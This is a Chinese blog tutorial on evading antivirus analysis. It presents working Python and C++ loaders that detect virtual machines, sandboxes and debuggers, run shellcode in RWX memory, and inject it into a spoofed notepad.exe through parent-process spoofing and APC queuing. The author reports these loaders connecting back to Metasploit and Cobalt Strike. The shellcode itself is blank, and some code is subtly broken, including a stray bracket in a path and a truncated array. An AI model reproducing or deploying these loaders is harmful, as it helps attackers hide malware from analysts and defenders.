免杀对抗—反VT沙盒虚拟机反调试进程APC注入
前言
之前是有稍微讲过这个反虚拟机和沙盒的,但是没有详细去讲,都是用工具搞一下滴。今天主要是讲一下原理和一些代码,这个东西可能看起来比较高级,但其实就一个关键——不准运行和反编译。我通过内存大小、CPU核心数量、和一些其它虚拟机的特征来判断当前的环境是不是虚拟机,如果是虚拟机我就不给你运行,就这么简单。
反虚拟机
go
GitHub - Nan3r/checkgo
我们先看一段go的代码,这是网上的项目,因为我不会go,但是用其它的语言来写也是一样的。可以看到这个check sandbox函数里面检测了很多东西,比如开机时间,要是物理机的话你天天用不可能时间是不对的的,但是虚拟机就不一定。
还有内存和CPU啥的,虚拟机相比于物理机明显就小很多很多,还有临时文件啥的,你自己的电脑天天用缓存肯定要比虚拟机大啦。
我们现在生成两个程序,一个是加了虚拟机检测的,另一个是没有加检测的。只不过为啥没加检测才报5个,加了反而报8个,检测的什么玩意这是。
我们把加了检测的放到虚拟机里面,怎么都运行不起来的,这边msf也接收不到。
python
OK,其实我们也可以自己写一个检测虚拟机的代码的。你说不会这些检测CPU的代码咋办,很简单,上网搜咯,没人是啥都会的,这里我们用python。
import ctypes,base64,os,psutil,time
from multiprocessing import cpu_count
#检测内存大小
def check_memory():
memory = psutil.virtual_memory().total
memory_GB = int(memory/1024/1024/1024)+1
if memory_GB < 8:
return 0
else:
return 1
#检测CPU核心数量
def check_CPU():
CPU_total = psutil.cpu_count()
if CPU_total < 4:
return 0
else:
return 1
#检测文件
def check_file():
VM_file = ['C:\windows\System32\Drivers\Vmmouse.sys',
'C:\windows\System32\Drivers\vmtray.dll',
'C:\windows\System32\Drivers\VMToolsHook.dll',
'C:\windows\System32\Drivers\vmmousever.dll',
'C:\windows\System32\Drivers\vmhgfs.dll',
'C:\windows\System32\Drivers\vmGuestLib.dll]',
]
for file in VM_file:
result = os.path.exists(file)
if result :
return 0
else:
return 1
if __name__ == '__main__':
number = check_memory() + check_CPU() + check_file()
print(number)
if number < 3:
exit()
else:
shellcode = b""
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(shellcode),len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
我们直接编译成exe看看效果好吧,真机能运行上线。
虚拟机运行不了,因为我们的number小于3,所以代码就直接退出了。当然实际应用肯定没那么简单的,检测的东西越多那么效果就越好。
C/C++
再来看一个检测虚拟机的项目,只是换成了C/C++。
GitHub - nek0YanSu/CheckVM-Sandbox: source code
我们运行一下项目的这段检测CPU的代码,可以看到我目前的物理机CPU为20核心。
#include <stdio.h>
#include <windows.h>
bool CheckCPU() {
SYSTEM_INFO sysinfo;
GetSystemInfo(&sysinfo);
int CoreNum = sysinfo.dwNumberOfProcessors;
printf("Core:%d\n", CoreNum);
if (CoreNum < 4)
return false;
else
return true;
}
int main() {
if (CheckCPU())
printf("ok");
else
printf("error");
return 0;
}
生成exe丢到虚拟机里面来试试,可以检测到当前虚拟机的CPU核心为16。
OK,那么我们现在把这个项目整合起来,像python那样给定一个返回值,再去判断是否为虚拟机,这里我就不说怎么整合了,可以看到整合起来判断物理机为真机。
然后我们放到虚拟机去试试,判断为虚拟机,上线的话把打印换成上线代码即可。
反调试
这个一般都是结合反虚拟机来用,安全人员对恶意软件的调试分析肯定是在虚拟机里面的,因为你调试肯定要把exe运行起来,那你在物理机调试不就上线了吗。
直接看代码,这是最简单的上线代买,但是可以看到我们多了一个判断,就是判断有没有虚拟机VMware这个目录,没有就执行上线。
物理机可以运行上线。
你妹的,虚拟机上面也可以运行,垃圾项目。
还有一个呢就是反沙盒调试,和反虚拟机调试是一样的,先反沙盒或者虚拟机,再去反OD、IDA这种调试软件。
奇安信攻防社区-浅谈调试与反调试
物理机直接运行代码,显示Not sandbox说明检测沙箱成功。
我们来分析一下源码,通过这里得知它是通过这个进程的PID是否一致,来判断是否为沙箱的。什么意思呢,就是正常你用OD去载入一个exe它的PID和你exe本身运行起来的PID是不一样的,利用这一点去判断是否为沙箱。
进程APC注入
直接翻译过来就是异步过程调用,什么意思呢,当我们运行Project1.exe上线CS时候,可以看到CS上面显示的进程Project1.exe,但是我们可以去更改或者伪造这个进程,让CS上面显示的是其他进程,和那个白名单差不多也是一种免杀手段。
// Parent spoofing.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#include <iostream>
#include <windows.h>
#include <TlHelp32.h>
DWORD getParentProcessID()
{
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 process = { 0 };
process.dwSize = sizeof(process);
if (Process32First(snapshot, &process))
{
do
{
if (!wcscmp(process.szExeFile, L"explorer.exe"))
{
printf("Find explorer failed!\n");
break;
}
} while (Process32Next(snapshot, &process));
}
CloseHandle(snapshot);
return process.th32ProcessID;
}
int main()
{
unsigned char shellCode[] =
STARTUPINFOEXA sInfoEX;
PROCESS_INFORMATION pInfo;
SIZE_T sizeT;
//打开explorer进程获取当前进程所有权限
HANDLE expHandle = OpenProcess(PROCESS_ALL_ACCESS, false, getParentProcessID());
//用0填充数组
ZeroMemory(&sInfoEX, sizeof(STARTUPINFOEXA));
//初始化指定的属性列表,创建进程和线程
InitializeProcThreadAttributeList(NULL, 1, 0, &sizeT);
//设置进程属性并从堆中分配内存
sInfoEX.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, sizeT);
InitializeProcThreadAttributeList(sInfoEX.lpAttributeList, 1, 0, &sizeT);
//更新用于进程和线程创建的属性列表中的指定属性
UpdateProcThreadAttribute(sInfoEX.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &expHandle, sizeof(HANDLE), NULL, NULL);
sInfoEX.StartupInfo.cb = sizeof(STARTUPINFOEXA);
CreateProcessA("C:\\Windows\\System32\\notepad.exe",
NULL,
NULL,
NULL,
TRUE,
CREATE_SUSPENDED | CREATE_NO_WINDOW | EXTENDED_STARTUPINFO_PRESENT,
NULL,
NULL,
reinterpret_cast<LPSTARTUPINFOA>(&sInfoEX),
&pInfo);
//分配内存
LPVOID lpBaseAddress = (LPVOID)VirtualAllocEx(pInfo.hProcess, NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
SIZE_T* lpNumberOfBytesWritten = 0;
//写入内存
BOOL resWPM = WriteProcessMemory(pInfo.hProcess, lpBaseAddress, (LPVOID)shellCode, sizeof(shellCode), lpNumberOfBytesWritten);
// APC调用
QueueUserAPC((PAPCFUNC)lpBaseAddress, pInfo.hThread, NULL);
//启动线程
ResumeThread(pInfo.hThread);
CloseHandle(pInfo.hThread);
return 0;
}
可以看到上线的进程是notepad.exe,而不是project1.exe。
电脑进程看到的也是是notepad.exe,而不是project1.exe。
其中这篇文章就讲了很多反调试技术,有针对OD和一些其它的反编译软件,但是我说实话大多数的安全厂商都是用自己的反编译软件滴,都是商业机密也不会公开啥的。
反调试技术
总结
今年的内容基本比较简单,核心就是检测和不让exe运行,代码不会写的话自己搞工具加壳反编译也行。
最后,以上仅为个人的拙见,如何有不对的地方,欢迎各位师傅指正与补充,有兴趣的师傅可以一起交流学习。
引用和参考文章
反调试技术
奇安信攻防社区-浅谈调试与反调试